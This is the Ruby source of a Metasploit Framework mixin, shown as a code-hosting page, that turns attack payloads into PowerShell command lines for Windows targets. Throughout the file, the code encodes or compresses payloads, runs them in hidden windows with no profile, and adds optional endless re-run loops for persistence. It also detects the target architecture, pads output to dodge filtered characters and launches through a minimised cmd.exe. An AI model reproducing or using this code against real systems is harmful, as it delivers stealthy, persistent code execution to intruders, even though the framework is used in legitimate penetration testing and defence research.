RageLtMan
358 lines
9.9 KiB
Ruby
358 lines
9.9 KiB
Ruby
# -*- coding: binary -*-
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require 'rex/exploitation/powershell'
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module Msf
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module Exploit::Powershell
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PowershellScript = Rex::Exploitation::Powershell::Script
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def initialize(info = {})
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super
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register_advanced_options(
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[
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OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]),
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OptBool.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),
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OptBool.new('Powershell::strip_comments', [false, 'Strip comments', true]),
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OptBool.new('Powershell::strip_whitespace', [false, 'Strip whitespace', false]),
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OptBool.new('Powershell::sub_vars', [false, 'Substitute variable names', false]),
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OptBool.new('Powershell::sub_funcs', [false, 'Substitute function names', false]),
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OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', [
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'net',
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'reflection',
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'old',
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'msil'
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]]),
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], self.class)
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end
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#
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# Reads script into a PowershellScript
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#
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def read_script(script_path)
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return PowershellScript.new(script_path)
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end
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#
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# Insert substitutions into the powershell script
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# If script is a path to a file then read the file
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# otherwise treat it as the contents of a file
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#
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def make_subs(script, subs)
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if ::File.file?(script)
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script = ::File.read(script)
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end
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subs.each do |set|
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script.gsub!(set[0],set[1])
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end
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script
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end
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#
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# Return an array of substitutions for use in make_subs
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#
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def process_subs(subs)
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return [] if subs.nil? or subs.empty?
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new_subs = []
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subs.split(';').each do |set|
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new_subs << set.split(',', 2)
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end
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new_subs
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end
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#
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# Return an encoded powershell script
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# Will invoke PSH modifiers as enabled
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#
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def encode_script(script_in, eof = nil)
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# Build script object
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psh = PowershellScript.new(script_in)
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# Invoke enabled modifiers
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datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
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mod_method = k.split('::').last.intern
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psh.send(mod_method)
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end
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psh.encode_code(eof)
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end
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#
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# Return a gzip compressed powershell script
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# Will invoke PSH modifiers as enabled
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#
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def compress_script(script_in, eof = nil)
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# Build script object
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psh = PowershellScript.new(script_in)
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# Invoke enabled modifiers
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datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
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mod_method = k.split('::').last.intern
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psh.send(mod_method)
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end
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psh.compress_code(eof)
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end
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#
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# Generate a powershell command line
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#
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def generate_psh_command_line(opts)
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if opts[:path] and (opts[:path][-1,1] != "\\")
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opts[:path] << "\\"
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end
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if opts[:no_full_stop]
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binary = "powershell"
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else
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binary = "powershell.exe"
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end
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args = generate_psh_args(opts)
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"#{opts[:path]}#{binary} #{args}"
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end
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#
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# Generate arguments for the powershell command
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# The format will be have no space at the start and have a space
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# afterwards e.g. "-Arg1 x -Arg -Arg x "
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#
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def generate_psh_args(opts)
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return "" unless opts
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unless opts.has_key? :shorten
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opts[:shorten] = (datastore['Powershell::method'] != 'old')
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end
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arg_string = " "
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opts.each_pair do |arg, value|
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case arg
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when :encodedcommand
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arg_string << "-EncodedCommand #{value} " if value
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when :executionpolicy
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arg_string << "-ExecutionPolicy #{value} " if value
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when :inputformat
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arg_string << "-InputFormat #{value} " if value
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when :file
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arg_string << "-File #{value} " if value
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when :noexit
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arg_string << "-NoExit " if value
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when :nologo
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arg_string << "-NoLogo " if value
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when :noninteractive
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arg_string << "-NonInteractive " if value
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when :mta
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arg_string << "-Mta " if value
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when :outputformat
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arg_string << "-OutputFormat #{value} " if value
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when :sta
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arg_string << "-Sta " if value
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when :noprofile
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arg_string << "-NoProfile " if value
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when :windowstyle
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arg_string << "-WindowStyle #{value} " if value
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end
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end
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#Command must be last (unless from stdin - etc)
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if opts[:command]
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arg_string << "-Command #{opts[:command]}"
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end
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# Shorten arg if PSH 2.0+
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if opts[:shorten]
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arg_string.gsub!(' -Command ', ' -c ')
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arg_string.gsub!(' -EncodedCommand ', ' -e ')
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arg_string.gsub!(' -ExecutionPolicy ', ' -ep ')
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arg_string.gsub!(' -File ', ' -f ')
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arg_string.gsub!(' -InputFormat ', ' -i ')
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arg_string.gsub!(' -NoExit ', ' -noe ')
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arg_string.gsub!(' -NoLogo ', ' -nol ')
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arg_string.gsub!(' -NoProfile ', ' -nop ')
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arg_string.gsub!(' -NonInteractive ', ' -noni ')
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arg_string.gsub!(' -OutputFormat ', ' -o ')
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arg_string.gsub!(' -Sta ', ' -s ')
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arg_string.gsub!(' -WindowStyle ', ' -w ')
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end
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#Strip off first space character
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arg_string = arg_string[1..-1]
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#Remove final space character
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arg_string = arg_string[0..-2] if (arg_string[-1] == " ")
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arg_string
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end
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#
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# Runs powershell in hidden window raising interactive proc msg
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# Detect the architecture
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#
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def run_hidden_psh(ps_code, payload_arch, encoded)
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arg_opts = {
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:noprofile => true,
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:windowstyle => 'hidden',
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:shorten => false
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}
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if encoded
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arg_opts[:encodedcommand] = ps_code
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else
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arg_opts[:command] = ps_code.gsub("'","''")
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end
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# Old technique fails if powershell exits..
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arg_opts[:noexit] = true if datastore['PSH::method'] == 'old'
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ps_args = generate_psh_args(arg_opts)
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process_start_info = <<EOS
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$s=New-Object System.Diagnostics.ProcessStartInfo
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$s.FileName=$b
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$s.Arguments='#{ps_args}'
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$s.UseShellExecute=$false
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$p=[System.Diagnostics.Process]::Start($s)
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EOS
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process_start_info.gsub!("\n",';')
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archictecure_detection = <<EOS
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if([IntPtr]::Size -eq 4){
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#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
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}else{
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#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
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};
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EOS
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archictecure_detection.gsub!("\n","")
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archictecure_detection + process_start_info
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end
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#
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# Creates cmd script to execute psh payload
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#
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def cmd_psh_payload(pay, payload_arch, opts={})
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opts[:persist] ||= datastore['Powershell::persist']
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opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
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opts[:method] ||= datastore['Powershell::method']
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if opts[:encode_inner_payload] && opts[:encode_final_payload]
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raise RuntimeError, ":encode_inner_payload and :encode_final_payload are incompatible options"
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end
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if opts[:no_equals] && !opts[:encode_final_payload]
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raise RuntimeError, ":no_equals requires :encode_final_payload option to be used"
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end
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psh_payload = case opts[:method]
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when 'net'
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Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
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when 'reflection'
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Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
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when 'old'
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Msf::Util::EXE.to_win32pe_psh(framework, pay)
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when 'msil'
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raise RuntimeError, "MSIL Powershell method no longer exists"
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else
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raise RuntimeError, "No Powershell method specified"
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end
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# Run our payload in a while loop
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if opts[:persist]
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fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
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sleep_time = rand(5)+5
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vprint_status("Sleep time set to #{sleep_time} seconds")
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psh_payload = "function #{fun_name}{#{psh_payload}};"
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psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
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end
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if opts[:prepend_sleep]
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if opts[:prepend_sleep].to_i > 0
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psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
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else
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vprint_error('Sleep time must be greater than 0 seconds')
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end
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end
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compressed_payload = compress_script(psh_payload)
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encoded_payload = encode_script(psh_payload)
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if encoded_payload.length <= compressed_payload.length
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smallest_payload = encoded_payload
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encoded = true
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else
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if opts[:encode_inner_payload]
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encoded = true
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compressed_encoded_payload = encode_script(compressed_payload)
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if encoded_payload.length <= compressed_encoded_payload.length
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smallest_payload = encoded_payload
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else
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smallest_payload = compressed_encoded_payload
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end
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else
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smallest_payload = compressed_payload
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encoded = false
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end
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end
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# Wrap in hidden runtime / architecture detection
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final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
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command_args = {
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:noprofile => true,
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:windowstyle => 'hidden'
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}.merge(opts)
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if opts[:encode_final_payload]
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command_args[:encodedcommand] = encode_script(final_payload)
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# If '=' is a bad character pad the payload until Base64 encoded
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# payload contains none.
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if opts[:no_equals]
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while command_args[:encodedcommand].include? '='
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final_payload << " "
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command_args[:encodedcommand] = encode_script(final_payload)
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end
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end
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else
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if opts[:use_single_quotes]
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# Escape Single Quotes
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final_payload.gsub!("'","''")
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# Wrap command in quotes
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final_payload = "'#{final_payload}'"
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end
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command_args[:command] = final_payload
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end
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psh_command = generate_psh_command_line(command_args)
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if opts[:remove_comspec]
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command = psh_command
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else
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command = "%COMSPEC% /b /c start /min #{psh_command}"
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end
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vprint_status("Powershell command length: #{command.length}")
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if command.length > 8191
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raise RuntimeError, "Powershell command length is greater than the command line maximum (8192 characters)"
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end
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command
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end
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#
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# Useful method cache
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#
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module PshMethods
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include Rex::Exploitation::Powershell::PshMethods
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end
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end
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end
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